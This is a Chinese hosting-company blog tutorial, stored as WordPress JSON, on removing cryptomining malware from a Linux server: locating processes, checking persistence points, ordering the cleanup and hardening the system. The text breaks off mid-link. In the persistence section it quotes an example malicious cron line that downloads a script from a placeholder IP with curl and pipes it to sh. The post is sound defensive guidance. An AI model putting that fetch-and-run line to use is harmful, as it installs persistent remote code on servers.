{"id":34231,"date":"2026-11-04T10:00:00","date_gmt":"2026-11-04T02:00:00","guid":{"rendered":"https:\/\/cn.hostease.com\/blog\/?p=34231"},"modified":"2026-10-26T16:58:38","modified_gmt":"2026-10-26T08:58:38","slug":"server-mining-cleanup-process-hardening","status":"publish","type":"post","link":"https:\/\/cn.hostease.com\/blog\/tutorials\/server-mining-cleanup-process-hardening\/","title":{"rendered":"\u670d\u52a1\u5668\u88ab\u690d\u5165\u6316\u77ff\u7a0b\u5e8f\u540e\u7684\u6e05\u7406\u6d41\u7a0b\uff1a\u53ef\u7591\u8fdb\u7a0b\u5b9a\u4f4d\u3001\u6301\u4e45\u5316\u6392\u67e5\u4e0e\u52a0\u56fa"},"content":{"rendered":"<p>CPU \u5360\u7528\u957f\u671f 100%\u3001\u98ce\u6247\u72c2\u8f6c\u3001\u8d1f\u8f7d\u66f2\u7ebf\u5728\u51cc\u6668\u51fa\u73b0\u5c16\u5cf0\uff0c\u800c\u4e1a\u52a1\u91cf\u5e76\u6ca1\u6709\u53d8\u5316\u2014\u2014\u8fd9\u662f\u670d\u52a1\u5668\u88ab\u690d\u5165\u6316\u77ff\u7a0b\u5e8f\u4e4b\u540e\u6700\u5178\u578b\u7684\u73b0\u573a\u3002\u8fd9\u7bc7\u6587\u7ae0\u8981\u89e3\u51b3\u7684\u95ee\u9898\u5f88\u5177\u4f53\uff1a\u6316\u77ff\u7a0b\u5e8f\u6e05\u7406\u5230\u5e95\u5e94\u8be5\u6309\u4ec0\u4e48\u987a\u5e8f\u505a\uff0c\u5982\u4f55\u5728\u4e0d\u6253\u8349\u60ca\u86c7\u7684\u524d\u63d0\u4e0b\u5b9a\u4f4d\u53ef\u7591\u8fdb\u7a0b\uff0c\u6301\u4e45\u5316\u5165\u53e3\u85cf\u5728\u54ea\u4e9b\u5bb9\u6613\u88ab\u5ffd\u7565\u7684\u4f4d\u7f6e\uff0c\u4ee5\u53ca\u6e05\u7406\u5b8c\u4e4b\u540e\u5982\u4f55\u9a8c\u8bc1\u771f\u7684\u6e05\u5e72\u51c0\u4e86\u3002\u6574\u5957\u6d41\u7a0b\u53ef\u4ee5\u7167\u7740\u547d\u4ee4\u4e00\u6b65\u6b65\u6267\u884c\uff0c\u4e0d\u9700\u8981\u63d0\u524d\u6210\u4e3a\u5b89\u5168\u4e13\u5bb6\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cn.hostease.com\/blog\/wp-content\/uploads\/2026\/10\/server-cover.webp\" alt=\"\u670d\u52a1\u5668\u6316\u77ff\u7a0b\u5e8f\u6e05\u7406\u6d41\u7a0b\u5c01\u9762\u793a\u610f\u56fe\" loading=\"lazy\" \/><\/p>\n<h2>\u5148\u5224\u65ad\u662f\u4e0d\u662f\u6316\u77ff\uff0c\u800c\u4e0d\u662f\u5148\u6740\u8fdb\u7a0b<\/h2>\n<p>\u53d1\u73b0\u5f02\u5e38\u8fdb\u7a0b\u540e\u7684\u7b2c\u4e00\u53cd\u5e94\u901a\u5e38\u662f <code>kill -9<\/code>\uff0c\u8fd9\u4e5f\u6b63\u662f\u6700\u5bb9\u6613\u8e29\u5751\u7684\u5730\u65b9\u3002\u591a\u6570\u6316\u77ff\u6728\u9a6c\u7531 watchdog \u5b88\u62a4\u8fdb\u7a0b\u6216\u5b9a\u65f6\u4efb\u52a1\u62c9\u8d77\uff0c\u6740\u6389\u4e3b\u8fdb\u7a0b\u540e\u51e0\u5341\u79d2\u5185\u5c31\u4f1a\u91cd\u65b0\u51fa\u73b0\uff0c\u800c\u547d\u4ee4\u884c\u3001\u7236\u8fdb\u7a0b\u3001\u8fde\u63a5\u76ee\u6807\u8fd9\u4e9b\u6700\u6709\u4ef7\u503c\u7684\u7ebf\u7d22\u4e5f\u4e00\u8d77\u6ca1\u4e86\u3002<\/p>\n<p>\u5148\u7528\u4e09\u7ec4\u547d\u4ee4\u786e\u8ba4\u7279\u5f81\uff0c\u518d\u52a8\u624b\u3002\u7b2c\u4e00\u7ec4\u770b\u6574\u4f53\u8d1f\u8f7d\u4e0e CPU \u5360\u7528\u6700\u9ad8\u7684\u8fdb\u7a0b\uff0c\u6ce8\u610f <code>%CPU<\/code> \u662f\u5426\u957f\u671f\u8d34\u9876\u3001\u8fdb\u7a0b\u540d\u662f\u5426\u4f2a\u88c5\u6210\u5185\u6838\u7ebf\u7a0b\uff08\u5e38\u89c1\u5982 <code>kdevtmpfsi<\/code>\u3001<code>kinsing<\/code>\u3001<code>xmrig<\/code>\u3001<code>sysupdate<\/code>\uff09\uff1a<\/p>\n<pre><code class=\"language-bash\">top -c -b -n 1 | head -30\nps aux --sort=-%cpu | head -20\nuptime\n<\/code><\/pre>\n<p>\u7b2c\u4e8c\u7ec4\u786e\u8ba4\u8fd9\u4e2a\u8fdb\u7a0b\u5230\u5e95\u5728\u8dd1\u4ec0\u4e48\u3002\u771f\u6b63\u7684\u5185\u6838\u7ebf\u7a0b\u5728 <code>ps<\/code> \u8f93\u51fa\u91cc\u547d\u4ee4\u540d\u4f1a\u5e26\u65b9\u62ec\u53f7\uff0c\u800c\u4f2a\u88c5\u7684\u6316\u77ff\u8fdb\u7a0b\u6709\u5b8c\u6574\u7684\u53ef\u6267\u884c\u8def\u5f84\uff0c\u751a\u81f3\u4e8c\u8fdb\u5236\u6587\u4ef6\u5df2\u7ecf\u88ab\u5220\u9664\u3001\u53ea\u5728 <code>\/proc<\/code> \u91cc\u7559\u4e0b\u4e00\u4e2a <code>(deleted)<\/code> \u6807\u8bb0\uff1a<\/p>\n<pre><code class=\"language-bash\">ls -l \/proc\/&lt;PID&gt;\/exe\ncat \/proc\/&lt;PID&gt;\/environ | tr '\\0' '\\n' | head -20\nlsof -p &lt;PID&gt; 2&gt;\/dev\/null | head -20\n<\/code><\/pre>\n<p>\u7b2c\u4e09\u7ec4\u770b\u5bf9\u5916\u8fde\u63a5\u3002\u77ff\u6c60\u901a\u4fe1\u8d70\u9ad8\u4f4d\u7aef\u53e3\uff0c<code>3333<\/code>\u3001<code>5555<\/code>\u3001<code>7777<\/code>\u3001<code>14444<\/code> \u662f\u51fa\u73b0\u9891\u7387\u6700\u9ad8\u7684\u4e00\u6279\uff0c\u964c\u751f\u8fdb\u7a0b\u6301\u7eed\u8fde\u5411\u5883\u5916 IP \u7684\u8fd9\u7c7b\u7aef\u53e3\uff0c\u57fa\u672c\u53ef\u4ee5\u5b9a\u6027\uff1a<\/p>\n<pre><code class=\"language-bash\">ss -tunp | grep -v ':22 '\n<\/code><\/pre>\n<p>\u5224\u65ad\u9636\u6bb5\u53ea\u505a\u4e00\u4ef6\u4e8b\uff1a\u7528 <code>kill -STOP &lt;PID&gt;<\/code> \u6682\u505c\u53ef\u7591\u8fdb\u7a0b\uff0c\u800c\u4e0d\u662f\u7ec8\u6b62\u3002\u6682\u505c\u4f1a\u505c\u6389 CPU \u6d88\u8017\uff0c\u540c\u65f6\u4fdd\u7559\u7236\u8fdb\u7a0b\u5173\u7cfb\u3001\u547d\u4ee4\u884c\u4e0e\u8fde\u63a5\u8fd9\u4e9b\u73b0\u573a\uff0c\u5b88\u62a4\u8fdb\u7a0b\u4e5f\u4e0d\u4f1a\u7acb\u523b\u91cd\u65b0\u62c9\u8d77\u4e00\u4efd\u65b0\u7684\u3002\u7d27\u63a5\u7740\u7ed9\u670d\u52a1\u5668\u6253\u5feb\u7167\u6216\u505a\u78c1\u76d8\u955c\u50cf\uff0c\u6e05\u7406\u51fa\u9519\u8fd8\u80fd\u56de\u5230\u8fd9\u4e2a\u70b9\u3002\u5982\u679c\u670d\u52a1\u5668\u5df2\u7ecf\u5bf9\u5916\u53d1\u5305\u3001\u88ab\u670d\u52a1\u5546\u901a\u77e5\u6ee5\u7528\uff0c\u5148\u6309 <a href=\"https:\/\/cn.hostease.com\/blog\/guides\/vps-incident-response-guide\/\">VPS\uff08\u865a\u62df\u4e13\u7528\u670d\u52a1\u5668\uff09\u88ab\u5165\u4fb5\u540e\u7684\u5e94\u6025\u5904\u7406\u6b65\u9aa4<\/a> \u5b8c\u6210\u9694\u79bb\uff0c\u518d\u56de\u6765\u6e05\u7406\u3002<\/p>\n<h2>\u5b9a\u4f4d\u4e8c\u8fdb\u5236\u6587\u4ef6\u7684\u771f\u5b9e\u4f4d\u7f6e\u4e0e\u4f20\u64ad\u8def\u5f84<\/h2>\n<p>\u77e5\u9053 PID \u4e4b\u540e\uff0c\u4e0b\u4e00\u6b65\u662f\u628a\u6587\u4ef6\u3001\u4f20\u64ad\u5165\u53e3\u548c\u540c\u4f19\u8fdb\u7a0b\u4e00\u8d77\u627e\u51fa\u6765\u3002\u6316\u77ff\u7a0b\u5e8f\u5f88\u5c11\u53ea\u7559\u4e00\u4e2a\u6587\u4ef6\uff1a<code>\/tmp<\/code>\u3001<code>\/dev\/shm<\/code>\u3001<code>\/var\/tmp<\/code>\u3001\u5bb6\u76ee\u5f55\u9690\u85cf\u76ee\u5f55\u91cc\u7684\u968f\u673a\u547d\u540d\u5b50\u76ee\u5f55\u90fd\u662f\u5e38\u89c1\u843d\u811a\u70b9\uff0c\u8fd9\u51e0\u5904\u666e\u901a\u7528\u6237\u53ef\u5199\uff0c\u53c8\u5e38\u88ab\u6392\u9664\u5728\u5907\u4efd\u548c\u76d1\u63a7\u4e4b\u5916\u3002<\/p>\n<p>\u4ece <code>\/proc<\/code> \u53cd\u67e5 inode\uff0c\u518d\u6309 inode \u5168\u76d8\u627e\u540c\u540d\u526f\u672c\uff0c\u662f\u6bd4 <code>find -name<\/code> \u66f4\u53ef\u9760\u7684\u65b9\u5f0f\uff0c\u56e0\u4e3a\u653b\u51fb\u8005\u4f1a\u968f\u673a\u91cd\u547d\u540d\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-bash\">ls -li \/proc\/&lt;PID&gt;\/exe\nfind \/ -xdev -inum &lt;inode&gt; -type f 2&gt;\/dev\/null\n<\/code><\/pre>\n<p>\u62ff\u5230\u6587\u4ef6\u540e\u4e0d\u8981\u6025\u7740\u5220\u3002\u5148\u7b97\u54c8\u5e0c\u3001\u7559\u5b58\u65f6\u95f4\u6233\uff0c<code>stat<\/code> \u8f93\u51fa\u7684 <code>Modify<\/code> \u4e0e <code>Change<\/code> \u65f6\u95f4\u901a\u5e38\u80fd\u5bf9\u4e0a\u5165\u4fb5\u7a97\u53e3\uff0c\u914d\u5408\u767b\u5f55\u65e5\u5fd7\u53ef\u4ee5\u5224\u65ad\u662f\u4ece SSH \u7206\u7834\u8fdb\u6765\u7684\uff0c\u8fd8\u662f\u901a\u8fc7\u67d0\u4e2a Web \u5e94\u7528\u7684\u6f0f\u6d1e\u4e0a\u4f20\u7684\uff1a<\/p>\n<pre><code class=\"language-bash\">sha256sum \/tmp\/&lt;file&gt;\nstat \/tmp\/&lt;file&gt;\ngrep -E &quot;Accepted|Failed password&quot; \/var\/log\/auth.log | tail -30\n<\/code><\/pre>\n<p>\u540c\u4e00\u53f0\u673a\u5668\u4e0a\u901a\u5e38\u8fd8\u6709\u914d\u5957\u7ec4\u4ef6\uff1a\u8d1f\u8d23\u62c9\u8d77\u7684\u5b88\u62a4\u811a\u672c\u3001\u6a2a\u5411\u4f20\u64ad\u7528\u7684\u626b\u63cf\u5668\uff08\u7279\u5f81\u662f\u5927\u91cf\u8fde\u63a5\u5185\u7f51 22\u30016379\u30012375 \u7aef\u53e3\uff09\uff0c\u4ee5\u53ca\u9690\u85cf\u81ea\u8eab\u7684\u7528\u6237\u6001 rootkit\u3002\u67e5\u4e00\u904d\u5f02\u5e38\u5916\u8054\uff0c\u80fd\u5224\u65ad\u53ea\u662f\u5355\u673a\u88ab\u6316\uff0c\u8fd8\u662f\u6574\u4e2a\u7f51\u6bb5\u90fd\u8981\u6392\u67e5\uff1a<\/p>\n<pre><code class=\"language-bash\">ss -tun state syn-sent | head -20\nps -eo pid,ppid,user,lstart,cmd --sort=lstart | tail -20\n<\/code><\/pre>\n<p><code>lstart<\/code> \u5b57\u6bb5\u4f1a\u663e\u793a\u7cbe\u786e\u542f\u52a8\u65f6\u95f4\u3002\u6316\u77ff\u8fdb\u7a0b\u7684\u542f\u52a8\u65f6\u95f4\u5f80\u5f80\u96c6\u4e2d\u5728\u540c\u4e00\u65f6\u523b\uff0c\u540c\u4e00\u65f6\u95f4\u6bb5\u542f\u52a8\u7684\u90a3\u6279\u8fdb\u7a0b\u90fd\u503c\u5f97\u9010\u4e2a\u6838\u5bf9\u547d\u4ee4\u884c\u3002CPU \u5f02\u5e38\u504f\u9ad8\u4f46\u4e0d\u786e\u5b9a\u662f\u8c01\u5728\u8dd1\u65f6\uff0c<a href=\"https:\/\/cn.hostease.com\/blog\/guides\/linux-top-ps-cpu\/\">\u7528 top \u4e0e ps \u5b9a\u4f4d\u9ad8 CPU \u5360\u7528\u8fdb\u7a0b<\/a> \u8fd9\u5957\u65b9\u6cd5\u53ef\u4ee5\u7701\u6389\u5927\u91cf\u76f2\u731c\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cn.hostease.com\/blog\/wp-content\/uploads\/2026\/10\/mining-process-locate.webp\" alt=\"\u6316\u77ff\u8fdb\u7a0b\u4e0e\u7236\u8fdb\u7a0b\u5173\u7cfb\u793a\u610f\u56fe\" loading=\"lazy\" \/><\/p>\n<h2>\u6301\u4e45\u5316\u6392\u67e5\uff1a\u516d\u4e2a\u5fc5\u987b\u9010\u4e2a\u6253\u5f00\u7684\u4f4d\u7f6e<\/h2>\n<p>\u6e05\u7406\u5931\u8d25\u7684\u6848\u4f8b\u7edd\u5927\u591a\u6570\u4e0d\u662f\u6ca1\u627e\u5230\u6316\u77ff\u8fdb\u7a0b\uff0c\u800c\u662f\u6f0f\u6389\u4e86\u6301\u4e45\u5316\u5165\u53e3\u3002\u8fdb\u7a0b\u5220\u6389\u3001\u91cd\u542f\u4e4b\u540e\u53c8\u6d3b\u8fc7\u6765\uff0c\u8bf4\u660e\u8fd8\u6709\u4e00\u5904\u81ea\u52a8\u62c9\u8d77\u673a\u5236\u6ca1\u88ab\u6458\u6389\u3002\u4e0b\u9762\u8fd9\u51e0\u5904\u662f\u5b9e\u9645\u653b\u9632\u4e2d\u51fa\u73b0\u9891\u7387\u6700\u9ad8\u7684\u4f4d\u7f6e\uff0c\u5efa\u8bae\u6309\u987a\u5e8f\u5168\u90e8\u8fc7\u4e00\u904d\uff0c\u5373\u4f7f\u67d0\u4e00\u5904\u770b\u8d77\u6765&#8221;\u5e94\u8be5\u6ca1\u95ee\u9898&#8221;\u3002<\/p>\n<ul>\n<li><strong>\u5b9a\u65f6\u4efb\u52a1<\/strong>\uff1a\u9664\u4e86\u5f53\u524d\u7528\u6237\u7684 <code>crontab -l<\/code>\uff0c\u8fd8\u8981\u770b <code>\/etc\/cron.d\/<\/code>\u3001<code>\/etc\/cron.hourly\/<\/code>\u3001<code>\/var\/spool\/cron\/crontabs\/<\/code> \u4e0b\u6bcf\u4e2a\u6587\u4ef6\u3002\u6076\u610f\u6761\u76ee\u5e38\u5199\u6210 <code>*\/5 * * * * root curl -s http:\/\/x.x.x.x\/a.sh | sh<\/code> \u8fd9\u79cd\u4e00\u884c\u5f0f\u4e0b\u8f7d\u6267\u884c\u3002<\/li>\n<li><strong>systemd \u670d\u52a1<\/strong>\uff1a<code>systemctl list-unit-files --state=enabled<\/code> \u91cc\u51fa\u73b0\u7684\u964c\u751f\u5355\u5143\u6700\u5bb9\u6613\u88ab\u5ffd\u7565\uff0c\u5b83\u4eec\u4f1a\u4f2a\u88c5\u6210 <code>systemd-networkd-helper<\/code>\u3001<code>kworker<\/code> \u8fd9\u7c7b\u7cfb\u7edf\u98ce\u683c\u547d\u540d\uff0c<code>ExecStart<\/code> \u6307\u5411 <code>\/usr\/lib\/<\/code> \u4e4b\u5916\u7684\u8def\u5f84\u3002<\/li>\n<li><strong>\u52a8\u6001\u94fe\u63a5\u5668\u52ab\u6301<\/strong>\uff1a\u68c0\u67e5 <code>\/etc\/ld.so.preload<\/code> \u662f\u5426\u5b58\u5728\u5185\u5bb9\uff0c\u8fd9\u4e2a\u6587\u4ef6\u9ed8\u8ba4\u4e0d\u5b58\u5728\uff0c\u4e00\u65e6\u88ab\u5199\u5165\u4e00\u4e2a so \u8def\u5f84\uff0c\u5c31\u7b49\u4e8e\u628a rootkit \u6302\u8fdb\u4e86\u6240\u6709\u65b0\u8fdb\u7a0b\u3002<\/li>\n<li><strong>SSH \u6388\u6743\u5bc6\u94a5<\/strong>\uff1a<code>\/root\/.ssh\/authorized_keys<\/code> \u4e0e\u6240\u6709\u666e\u901a\u7528\u6237\u7684\u540c\u540d\u6587\u4ef6\u90fd\u8981\u770b\uff0c\u653b\u51fb\u8005\u5e38\u8ffd\u52a0\u4e00\u628a\u81ea\u5df1\u7684\u516c\u94a5\u505a\u957f\u671f\u540e\u95e8\uff0c\u6bd4\u4efb\u4f55\u6728\u9a6c\u90fd\u7a33\u5b9a\u3002<\/li>\n<li><strong>\u542f\u52a8\u811a\u672c\u4e0e\u8d26\u6237<\/strong>\uff1a<code>\/etc\/rc.local<\/code>\u3001<code>\/etc\/init.d\/<\/code> \u4e0b\u7684\u65b0\u589e\u811a\u672c\uff0c\u4ee5\u53ca <code>\/etc\/passwd<\/code> \u91cc UID \u4e3a 0 \u7684\u975e root \u8d26\u6237\u3001<code>\/etc\/sudoers.d\/<\/code> \u91cc\u88ab\u8ffd\u52a0\u7684\u514d\u5bc6\u89c4\u5219\u3002<\/li>\n<li><strong>\u5bb9\u5668\u4e0e\u955c\u50cf<\/strong>\uff1a<code>docker ps --no-trunc<\/code> \u770b\u6709\u6ca1\u6709\u6765\u6e90\u4e0d\u660e\u7684\u955c\u50cf\u5728\u8dd1\uff0c\u5bb9\u5668\u91cc\u7684\u6316\u77ff\u7a0b\u5e8f\u5360\u7684\u662f\u5bbf\u4e3b\u673a CPU\uff0c<code>ps<\/code> \u91cc\u5374\u770b\u4e0d\u5230\u53ef\u6267\u884c\u8def\u5f84\u3002<\/li>\n<\/ul>\n<p>\u8fd9\u516d\u5904\u5efa\u8bae\u5148\u5217\u6210\u6e05\u5355\u518d\u52a8\u624b\uff0c\u6539\u5b8c\u8bb0\u5f55\u6539\u8fc7\u54ea\u4e9b\u6587\u4ef6\uff0c\u907f\u514d\u6e05\u5230\u4e00\u534a\u5fd8\u4e86\u5220\u8fc7\u4ec0\u4e48\u3002\u60f3\u8ba9\u8fd9\u7c7b\u6539\u52a8\u4eca\u540e\u80fd\u88ab\u53ca\u65f6\u53d1\u73b0\uff0c\u53ef\u4ee5\u6309 <a href=\"https:\/\/cn.hostease.com\/blog\/guides\/server-aide-intrusion-detection-baseline\/\">\u7528 AIDE \u5efa\u7acb\u670d\u52a1\u5668\u6587\u4ef6\u5b8c\u6574\u6027\u76d1\u63a7\u57fa\u7ebf<\/a> \u7684\u505a\u6cd5\u628a\u4e0a\u8ff0\u8def\u5f84\u7eb3\u5165\u76d1\u63a7\uff0c\u4efb\u4f55\u4e00\u5904\u88ab\u5199\u5165\u90fd\u4f1a\u5728\u4e0b\u4e00\u8f6e\u6821\u9a8c\u65f6\u62a5\u8b66\u3002<\/p>\n<p>\u5982\u679c\u53d1\u73b0\u5bf9\u5916\u6d41\u91cf\u5f02\u5e38\uff08\u6bd4\u5982\u5e26\u5bbd\uff08\u670d\u52a1\u5668\u5bf9\u5916\u7684\u6570\u636e\u4f20\u8f93\u4e0a\u9650\uff09\u5728\u65e0\u4eba\u8bbf\u95ee\u7684\u65f6\u6bb5\u6301\u7eed\u8dd1\u9ad8\uff09\uff0c\u901a\u5e38\u662f\u6316\u77ff\u7a0b\u5e8f\u5728\u8ddf\u77ff\u6c60\u901a\u4fe1\u3002\u7528 <code>iftop<\/code> \u6216 <code>nethogs<\/code> \u76ef\u51e0\u5206\u949f\u5c31\u80fd\u9501\u5230\u5177\u4f53\u8fdb\u7a0b\uff0c\u518d\u5bf9\u7167\u6e05\u5355\u786e\u8ba4\u5f52\u5c5e\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cn.hostease.com\/blog\/wp-content\/uploads\/2026\/10\/mining-persistence-check.webp\" alt=\"\u6301\u4e45\u5316\u5165\u53e3\u6392\u67e5\u4f4d\u7f6e\u793a\u610f\u56fe\" loading=\"lazy\" \/><\/p>\n<h2>\u6e05\u7406\u987a\u5e8f\uff1a\u5148\u65ad\u94fe\u8def\uff0c\u518d\u6458\u5165\u53e3\uff0c\u6700\u540e\u5220\u6587\u4ef6<\/h2>\n<p>\u786e\u8ba4\u4e86\u8fdb\u7a0b\u3001\u6587\u4ef6\u548c\u6301\u4e45\u5316\u4f4d\u7f6e\u4e4b\u540e\uff0c\u6e05\u7406\u987a\u5e8f\u672c\u8eab\u4e5f\u662f\u6280\u672f\u9898\u3002\u987a\u5e8f\u9519\u4e86\u8f7b\u5219\u53cd\u590d\u611f\u67d3\uff0c\u91cd\u5219\u4e22\u5931\u8bc1\u636e\u3001\u5224\u65ad\u4e0d\u51fa\u662f\u5426\u8fd8\u6709\u7b2c\u4e8c\u4e2a\u5165\u53e3\u3002\u53ef\u884c\u7684\u987a\u5e8f\u662f\u8fd9\u6837\uff1a<\/p>\n<p>\u5148\u5207\u65ad\u5916\u8054\uff0c\u4f46\u4fdd\u7559\u7ba1\u7406\u901a\u9053\u3002\u7528\u9632\u706b\u5899\u53ea\u653e\u884c\u7ba1\u7406 IP \u4e0e\u4e1a\u52a1\u5fc5\u9700\u7aef\u53e3\uff0c\u6216\u4e34\u65f6\u5728 <code>\/etc\/hosts<\/code> \u91cc\u628a\u77ff\u6c60\u57df\u540d\u6307\u5411 <code>0.0.0.0<\/code>\u3002\u65ad\u7f51\u4e0d\u7b49\u4e8e\u5173\u673a\uff1a\u673a\u5668\u4e00\u5173\uff0c<code>\/proc<\/code> \u91cc\u7684\u73b0\u573a\u5c31\u6ca1\u4e86\u3002<\/p>\n<p>\u7d27\u63a5\u7740\u56fa\u5b9a\u8bc1\u636e\u3002\u628a\u53ef\u7591\u4e8c\u8fdb\u5236\u3001\u76f8\u5173\u811a\u672c\u3001<code>crontab<\/code>\u3001<code>ss<\/code> \u4e0e <code>ps<\/code> \u7684\u5b8c\u6574\u8f93\u51fa\u6253\u5305\u7559\u6863\uff0c\u4fdd\u7559\u54c8\u5e0c\u4e0e\u65f6\u95f4\u6233\u3002\u82e5\u53ef\u80fd\u6d89\u53ca\u6570\u636e\u6cc4\u9732\uff0c\u8fd9\u4efd\u8bb0\u5f55\u662f\u5224\u65ad\u5f71\u54cd\u8303\u56f4\u7684\u552f\u4e00\u4f9d\u636e\u3002<\/p>\n<p>\u63a5\u4e0b\u6765\u5148\u6458\u6301\u4e45\u5316\u5165\u53e3\uff0c\u518d\u5904\u7406\u8fdb\u7a0b\u3002\u53cd\u8fc7\u6765\u505a\u7684\u8bdd\uff0c\u5b88\u62a4\u8fdb\u7a0b\u4f1a\u5728\u4f60\u5220\u6587\u4ef6\u7684\u77ac\u95f4\u91cd\u65b0\u62c9\u8d77\u4e00\u4efd\u65b0\u7684\u3002\u628a\u5b9a\u65f6\u4efb\u52a1\u3001systemd \u5355\u5143\u3001<code>ld.so.preload<\/code>\u3001authorized_keys \u91cc\u7684\u53ef\u7591\u6761\u76ee\u5168\u90e8\u79fb\u9664\u6216\u6ce8\u91ca\uff0c\u7136\u540e\u518d <code>kill<\/code> \u6389\u88ab <code>-STOP<\/code> \u6682\u505c\u7684\u8fdb\u7a0b\uff0c\u6700\u540e\u5220\u9664\u4e8c\u8fdb\u5236\u6587\u4ef6\u3002<\/p>\n<p>\u7136\u540e\u91cd\u542f\u5e76\u9a8c\u8bc1\u3002\u53ea\u6709\u91cd\u542f\u4e4b\u540e\u624d\u80fd\u786e\u8ba4\u6ca1\u6709\u9057\u6f0f\u7684\u81ea\u542f\u52a8\u9879\u3002\u9a8c\u8bc1\u770b\u56db\u4e2a\u70b9\uff1aCPU \u4e0e\u8d1f\u8f7d\u662f\u5426\u56de\u5230\u6b63\u5e38\u533a\u95f4\u3001<code>ps<\/code> \u4e0e <code>ss<\/code> \u91cc\u662f\u5426\u8fd8\u6709\u964c\u751f\u8fdb\u7a0b\u548c\u5916\u8054\u3001\u516d\u5904\u6301\u4e45\u5316\u4f4d\u7f6e\u662f\u5426\u5e72\u51c0\u3001\u767b\u5f55\u65e5\u5fd7\u91cc\u662f\u5426\u6709\u65b0\u7684\u5f02\u5e38\u767b\u5f55\u3002\u6e05\u7406\u540e\u5efa\u8bae\u89c2\u5bdf 24 \u5c0f\u65f6\uff0c\u90e8\u5206\u6728\u9a6c\u4f1a\u5ef6\u8fdf\u62c9\u8d77\uff08\u5982 <code>@reboot<\/code> \u52a0\u968f\u673a sleep\uff09\u3002<\/p>\n<p>\u6700\u540e\u4e00\u4ef6\u4e8b\u662f\u5224\u65ad\u8981\u4e0d\u8981\u91cd\u88c5\u3002\u8fd9\u662f\u6700\u5bb9\u6613\u88ab\u8df3\u8fc7\u7684\u4e00\u6b65\uff0c\u4f46\u5fc5\u987b\u7ed9\u7ed3\u8bba\uff1a\u5982\u679c\u53d1\u73b0 <code>\/etc\/ld.so.preload<\/code> \u88ab\u5199\u5165\u3001<code>ps<\/code> \u8f93\u51fa\u4e0e\u771f\u5b9e\u8fdb\u7a0b\u6570\u5bf9\u4e0d\u4e0a\u3001\u6216\u7cfb\u7edf\u4e8c\u8fdb\u5236\u88ab\u66ff\u6362\uff0c\u8bf4\u660e rootkit \u5df2\u7ecf\u8fdb\u5230\u6838\u5fc3\u5e93\u5c42\u9762\uff0c\u9010\u6587\u4ef6\u6e05\u7406\u65e0\u6cd5\u8bc1\u660e\u73af\u5883\u5e72\u51c0\uff0c\u91cd\u88c5\u5e76\u4ece\u53ef\u4fe1\u5907\u4efd\u6062\u590d\u66f4\u53ef\u9760\u3002\u6062\u590d\u524d\u5148\u628a\u5907\u4efd\u6302\u8f7d\u5230\u53ea\u8bfb\u73af\u5883\u6bd4\u5bf9\u4e00\u904d\u6587\u4ef6\u6e05\u5355\uff0c\u786e\u8ba4\u5907\u4efd\u672c\u8eab\u6ca1\u88ab\u6c61\u67d3\u3002<\/p>\n<h2>\u52a0\u56fa\uff1a\u8ba9\u540c\u6837\u7684\u5165\u53e3\u4e0d\u518d\u53ef\u7528<\/h2>\n<p>\u6e05\u7406\u53ea\u53bb\u6389\u8fd9\u4e00\u6b21\u7684\u611f\u67d3\uff0c\u52a0\u56fa\u624d\u51b3\u5b9a\u4e0b\u4e00\u6b21\u8981\u7b49\u591a\u4e45\u3002\u6309&#8221;\u80fd\u88ab\u81ea\u52a8\u5316\u626b\u63cf\u6253\u5230\u7684\u5148\u5904\u7406&#8221;\u6392\u5e8f\u5373\u53ef\uff1a<\/p>\n<ul>\n<li><strong>SSH \u53ea\u7559\u5bc6\u94a5\u767b\u5f55\u5e76\u52a0\u52a8\u6001\u53e3\u4ee4<\/strong>\uff1a\u5173\u95ed <code>PasswordAuthentication<\/code> \u524d\u5148\u786e\u8ba4\u5bc6\u94a5\u80fd\u767b\u5f55\uff0c\u5426\u5219\u4f1a\u628a\u81ea\u5df1\u9501\u5728\u95e8\u5916\uff1b\u505a\u6cd5\u89c1 <a href=\"https:\/\/cn.hostease.com\/blog\/guides\/server-ssh-google-authenticator\/\">SSH \u53cc\u56e0\u5b50\u8ba4\u8bc1\u914d\u7f6e\u5b9e\u6218<\/a>\u3002<\/li>\n<li><strong>\u5bf9\u5916\u7aef\u53e3\u505a\u51cf\u6cd5<\/strong>\uff1a<code>ss -tlnp<\/code> \u5217\u51fa\u6240\u6709\u76d1\u542c\u7aef\u53e3\uff0c\u4e1a\u52a1\u7528\u4e0d\u5230\u7684\u6570\u636e\u5e93\u3001\u9762\u677f\u53ea\u76d1\u542c <code>127.0.0.1<\/code>\uff0c\u66b4\u9732\u9762\u6bcf\u5c11\u4e00\u4e2a\u5165\u53e3\uff0c\u88ab\u6253\u8fdb\u6765\u7684\u6982\u7387\u5c31\u4f4e\u4e00\u6863\u3002<\/li>\n<li><strong>\u7ed9\u4e34\u65f6\u76ee\u5f55\u52a0 noexec<\/strong>\uff1a<code>\/tmp<\/code>\u3001<code>\/dev\/shm<\/code> \u6302\u8f7d\u65f6\u52a0 <code>noexec,nosuid<\/code>\uff0c\u80fd\u6321\u6389\u5927\u90e8\u5206&#8221;\u4e0b\u8f7d\u5230\u4e34\u65f6\u76ee\u5f55\u518d\u6267\u884c&#8221;\u7684\u8f7d\u8377\u3002<\/li>\n<li><strong>\u5efa\u7acb\u4e24\u6761\u544a\u8b66<\/strong>\uff1aCPU \u6301\u7eed\u9ad8\u5360\u7528\u3001\u51fa\u7ad9\u8fde\u63a5\u6570\u7a81\u589e\uff0c\u9608\u503c\u544a\u8b66\u80fd\u5728\u51e0\u5206\u949f\u5185\u53d1\u73b0\u95ee\u9898\u3002<\/li>\n<li><strong>\u4fdd\u6301\u5feb\u7167\u4e0e\u79bb\u7ebf\u5907\u4efd<\/strong>\uff1a\u88ab\u5165\u4fb5\u540e\u6700\u5148\u9700\u8981\u7684\u662f&#8221;\u56de\u5230\u5e72\u51c0\u72b6\u6001&#8221;\uff0c\u5e26\u65f6\u95f4\u70b9\u7684\u5feb\u7167\u6bd4\u4efb\u4f55\u6e05\u7406\u6280\u5de7\u90fd\u76f4\u63a5\uff1b\u7ad9\u70b9\u6570\u636e\u7684\u5907\u4efd\u8282\u594f\u53ef\u4ee5\u53c2\u8003 <a href=\"https:\/\/cn.hostease.com\/blog\/guides\/wordpress-backup-full-incremental-strategy\/\">WordPress 